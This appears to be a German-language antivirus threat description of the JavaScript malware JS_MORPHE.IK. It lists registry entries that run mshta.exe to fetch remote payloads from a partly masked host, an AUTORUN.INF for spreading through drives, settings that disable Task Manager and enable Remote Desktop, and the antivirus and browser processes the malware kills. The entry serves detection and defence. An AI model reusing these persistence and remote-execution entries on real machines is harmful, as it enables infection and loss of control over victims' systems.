JS_MORPHE.IK

Befindet sich möglicherweise auf einer Website und wird ausgeführt, wenn ein Benutzer auf diese Website zugreift.

Fügt bestimmte Registrierungseinträge hinzu, um den Task-Manager zu deaktivieren. Dies verhindert, dass Benutzer den Malware-Prozess beenden, was normalerweise über den Task-Manager möglich ist.

Legt eine AUTORUN.INF-Datei ab, um automatisch die eingeschleusten Kopien auszuführen, wenn ein Benutzer auf die Laufwerke eines betroffenen Systems zugreift.

Übertragungsdetails

Befindet sich möglicherweise auf einer Website und wird ausgeführt, wenn ein Benutzer auf diese Website zugreift.

Installation

Schleust die folgenden Dateien ein und führt sie aus:

• %Desktop%\msn\d.tpl - same detection name
• %Desktop%\msn\d.reg - detected as REG_MORPHE.A

(Hinweis: %Desktop% ist der Ordner 'Desktop' für den aktuellen Benutzer, normalerweise C:\Windows\Profile\{Benutzername}\Desktop unter Windows 98 und ME, C:\WINNT\Profile\{Benutzername}\Desktop unter Windows NT und C:\Dokumente und Einstellungen\{Benutzername}\Desktop unter Windows 2000, XP und Server 2003.)

Autostart-Technik

Fügt folgende Registrierungseinträge hinzu, um bei jedem Systemstart automatisch ausgeführt zu werden.

HKEY_CLASSES_ROOT\WinRAR\shell\
open\command
{default} = ""%System%\mshta.exe\" "http://{BLOCKED}.146.149:102/m0rpheus/morpheus2010/nfiles/exec.php?t={current date and time};p=WinRar;f=%1\""

HKEY_CLASSES_ROOT\Directory\shell\
DOSAqui
{default} = "Abrir Carpeta"

HKEY_CLASSES_ROOT\Directory\shell\
DOSAqui\Command
{default} = "mshta.exe http://{BLOCKED}.146.149:102/m0rpheus/morpheus2010/msnmsgr.tpl"

HKEY_CLASSES_ROOT\Drive\shell\
DOSAqui
{default} = "Abrir Unidad de Disco"

HKEY_CLASSES_ROOT\Drive\shell\
DOSAqui\Command
{default} = "mshta.exe http://{BLOCKED}.146.149:102/m0rpheus/morpheus2010/msnmsgr.tpl"

Andere Systemänderungen

Fügt die folgenden Registrierungseinträge als Teil der Installationsroutine hinzu:

HKEY_CURRENT_USER\Software\Microsoft\
Internet Explorer\Main
Start Page = "http://mail-live.no-ip.info"

HKEY_CURRENT_USER\Software\Microsoft\
Internet Explorer\Main
Window Title = "::M0rPheU$:: v2.1"

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Control\Terminal Server
fDenyTSConnections = "0"

Fügt die folgenden Registrierungseinträge hinzu, um den Task-Manager zu deaktivieren:

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Policies\
System
DisableTaskMgr = "1"

Verbreitung

Legt eine AUTORUN.INF-Datei ab, um automatisch die eingeschleusten Kopien auszuführen, wenn ein Benutzer auf die Laufwerke eines betroffenen Systems zugreift.

Die besagte .INF-Datei enthält die folgenden Zeichenfolgen:

[autorun]
open=\"inf.exe\"
icon=\"%SystemRoot%\system32\SHELL32.dll,8\"
action=Abrir carpeta para ver archivos
shell\open=Abrir carpeta para ver archivos
shell\open\command=\"inf.exe\"
shell\open\default=^1

Prozessbeendigung

Beendet die folgenden Prozesse, wenn sie im Speicher des betroffenen Systems ausgeführt werden:

• avgnt.exe
• avguard.exe
• avshadow.exe
• chrome.exe
• firefox.exe
• GoogleUpdate.exe
• msnmsgr.exe
• GoogleCrashHandler.exe
• mailpv.exe

Einschleusungsroutine

Schleust die folgenden Dateien ein:

• %User Profile%\Datos de programa\Microsoft\Internet Explorer\Quick Launch\Windows Live Messenger.lnk - detected as LNK_MORPHE.III
• %Desktop%\Windows Live Messenger.lnk - detected as LNK_MORPHE.III
• %System Root%\Documents and Settings\All Users\Desktop\Windows Live Messenger.lnk - detected as LNK_MORPHE.III
• %System Root%\Documents and Settings\All Users\Start Menu\Programs\Windows Live Messenger.lnk - detected as LNK_MORPHE.III
• %System Root%\Documents and Settings\All Users\Start Menu\Programs\Startup\Windows Live Messenger.lnk - detected as LNK_MORPHE.III
• %System Root%\Documents and Settings\All Users\Start Menu\Programs\Startup\Actualizaciones de Windows Live.lnk - detected as LNK_MORPHE.III
• %System Root%\Documents and Settings\All Users\Start Menu\Programs\Startup\Detector de Spywares de Windows Live.lnk - detected as LNK_MORPHE.III
• %User Startup%\Actualizaciones de Windows Live.lnk - detected as LNK_MORPHE.III
• %User Startup%\Detector de Spywares de Windows Live.lnk - detected as LNK_MORPHE.III
• %StartMenu%\Programs\Windows Live Messenger.lnk - detected as LNK_MORPHE.III
• %StartMenu%\Windows Live Messenger.lnk - detected as LNK_MORPHE.III
• %%User Profile%\Recent\Windows Live Messenger.lnk - detected as LNK_MORPHE.III

(Hinweis: %User Profile% ist der Ordner für Benutzerprofile des aktuellen Benutzers, normalerweise C:\Windows\Profile\{Benutzername} unter Windows 98 und ME, C:\WINNT\Profile\{Benutzername} unter Windows NT und C:\Dokumente und Einstellungen\{Benutzername} unter Windows 2000, XP und Server 2003.. %Desktop% ist der Ordner 'Desktop' für den aktuellen Benutzer, normalerweise C:\Windows\Profile\{Benutzername}\Desktop unter Windows 98 und ME, C:\WINNT\Profile\{Benutzername}\Desktop unter Windows NT und C:\Dokumente und Einstellungen\{Benutzername}\Desktop unter Windows 2000, XP und Server 2003.. %System Root% ist der Stammordner, normalerweise C:\. Dort befindet sich auch das Betriebssystem.. %User Startup% ist der Ordner 'Autostart' des aktuellen Benutzers, normalerweise C:\Windows\Profile\{Benutzername}\Startmenü\Programme\Autostart unter Windows 98 und ME, C:\WINNT\Profile\{Benutzername}\Startmenü\Programme\Autostart unter Windows NT und C:\Dokumente und Einstellungen\{Benutzername}\Startmenü\Programme\Autostart.)